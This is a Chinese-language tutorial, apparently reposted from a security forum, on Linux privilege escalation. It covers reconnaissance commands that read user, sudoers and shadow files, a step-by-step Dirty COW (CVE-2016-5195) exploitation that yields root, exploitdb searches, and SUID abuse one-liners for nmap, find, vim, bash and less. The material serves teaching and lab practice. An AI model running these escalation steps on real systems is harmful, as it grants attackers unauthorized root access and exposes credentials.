原文鏈接:http://zone.secevery.com/article/1104
Linux提權
1.信息收集
2.臟牛漏洞提權
3.內核漏洞exp提權
4.SUID提權
0x00 基礎信息收集
(1):內核,操作系統和設備信息
uname -a 打印所有可用的系統信息 uname -r 內核版本 uname -n 系統主機名。 uname -m 查看系統內核架構(64位/32位) hostname 系統主機名 cat /proc/version 內核信息 cat /etc/*-release 分發信息 cat /etc/issue 分發信息 cat /proc/cpuinfo CPU信息
(2)用戶和群組
cat /etc/passwd 列出系統上的所有用戶 cat /etc/group 列出系統上的所有組 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級用戶賬戶 whoami 查看當前用戶 w 誰目前已登錄,他們正在做什么 last 最后登錄用戶的列表 lastlog 所有用戶上次登錄的信息 lastlog –u %username% 有關指定用戶上次登錄的信息 lastlog |grep -v "Never" 以前登錄用戶的完
(3)用戶和權限信息:
whoami 當前用戶名 id 當前用戶信息 cat /etc/sudoers 誰被允許以root身份執行 sudo -l 當前用戶可以以root身份執行操作
(4)環境信息
env 顯示環境變量 set 現實環境變量 echo %PATH 路徑信息 history 顯示當前用戶的歷史命令記錄 pwd 輸出工作目錄 cat /etc/profile 顯示默認系統變量 cat /etc/shells 顯示可用的shell
更多 --> https://www.rebootuser.com/?p=1623
0x01臟牛漏洞本地提權
漏洞描述:
漏洞編號:CVE-2016-5195
漏洞名稱:臟牛(Dirty COW)
漏洞危害:低權限用戶利用該漏洞技術可以在全版本上實現本地提權
影響范圍:Linux kernel >=2.6.22 並且Android也受影響
臟牛漏洞名稱的來源:
Linux內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有只讀內存映射。
一個低權限的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫權限,有可能進一步導致提權漏洞
漏洞原理:
該漏洞具體為,get_user_page內核函數在處理Copy-on-Write(以下使用COW表示)的過程中,可能產出競態條件造成COW過程被破壞,導致出現寫數據到進程地址空間內只讀內存區域的機會。修改su或者passwd程序就可以達到root的目的。
漏洞復現過程:
靶機:CentOS 6.5
1.查看linux內核版本是否大於等於2.6.22
uname -a
2.上傳POC至 /tmp 目錄下(tmp目錄具有較高權限)
3.對dirty.c進行gcc編譯生成一個可執行文件
gcc -pthread dirty.c -o dirty -lcrypt *** -pthread會附加一個宏定義-D_REENTRANT該宏會導致libc頭文件選擇那些thread-safe的實現 -o 為編譯后輸出的文件名 ***
4.運行dirty可執行文件進行本地提權
./dirty passwd
這個漏洞利用的過程大概要三分鍾,耐心等待之后即可出現
此時切換到firefart用戶,密碼為123456
執行id命令后可以看到已經為root用戶了,成功提權。
參考:http://zone.secevery.com/article/290
----------------------------------------
0x02內核漏洞提權
如
果linux內核版本小於2.6.22或者臟牛無法成功時,我們需要查看其他版本的內核漏洞。這時我們就用到了kali linux,自身所擁有的searchspolit可以幫助我們查看各種linux發行版本的漏洞。而searchs
polit的使用也很簡單,只需要在后面跟上限定條件即可。
查看linux漏洞
searchspolit linux
查看centos6版本漏洞
searchspolit centos 6
但我們通常查看指定內核版本和linux版本。如:
searchspolit centos 7 kernel 3.10
所限定的條件越多,當然可利用的漏洞也就越少。我們選中其中符合靶機環境的漏洞后進行查看。
利用leafpad命令查看文檔內容並且復制到靶機上生成相應的文件。(漏洞的利用雖然是英文,但是一定要看一下使用方法)
leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c
參考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提權
SUID概念:
SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。那么,為什么要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性
SUID提權:
那么什么是suid提權呢?我理解的就是有個文件,它有s標志,並且他輸入root,那么我們運行這個程序就可以有了root的權限,並且這個程序還得能執行命令,不然沒什么用處,那么我們就能從普通用戶提升到了root權限了。
首先在本地查找符合條件的文件,有以下三個命令
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
列出來的所有文件都是以root用戶權限來執行的,接下來找到可以提權的文件
--------------------------------------------------------
常用的可用於suid提權的文件
Nmap Vim find Bash More Less Nano cp
namp
較舊版本的Nmap(2.02至5.21)帶有交互模式,從而允許用戶執行shell命令。由於Nmap位於上面使用root權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的shell。)
可以使用下命令進入namp交互模式
nmap --interactive
執行命令后會返回一個shell
nmap> !sh sh-3.2# whoami root
而在Metasploit中也有一個模塊可以通過SUID Nmap進行提權
exploit/unix/local/setuid_nmap
find
如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行
touch test find test -exec whoami \;
vim
Vim的主要用途是用作文本編輯器。 但是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件
vim /etc/shadow
bash
以下命令將以root身份打開一個bash shell
bash -p bash-3.2# id uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)
less
程序less也可以執行提權后的shell。
less /etc/passwd !/bin/sh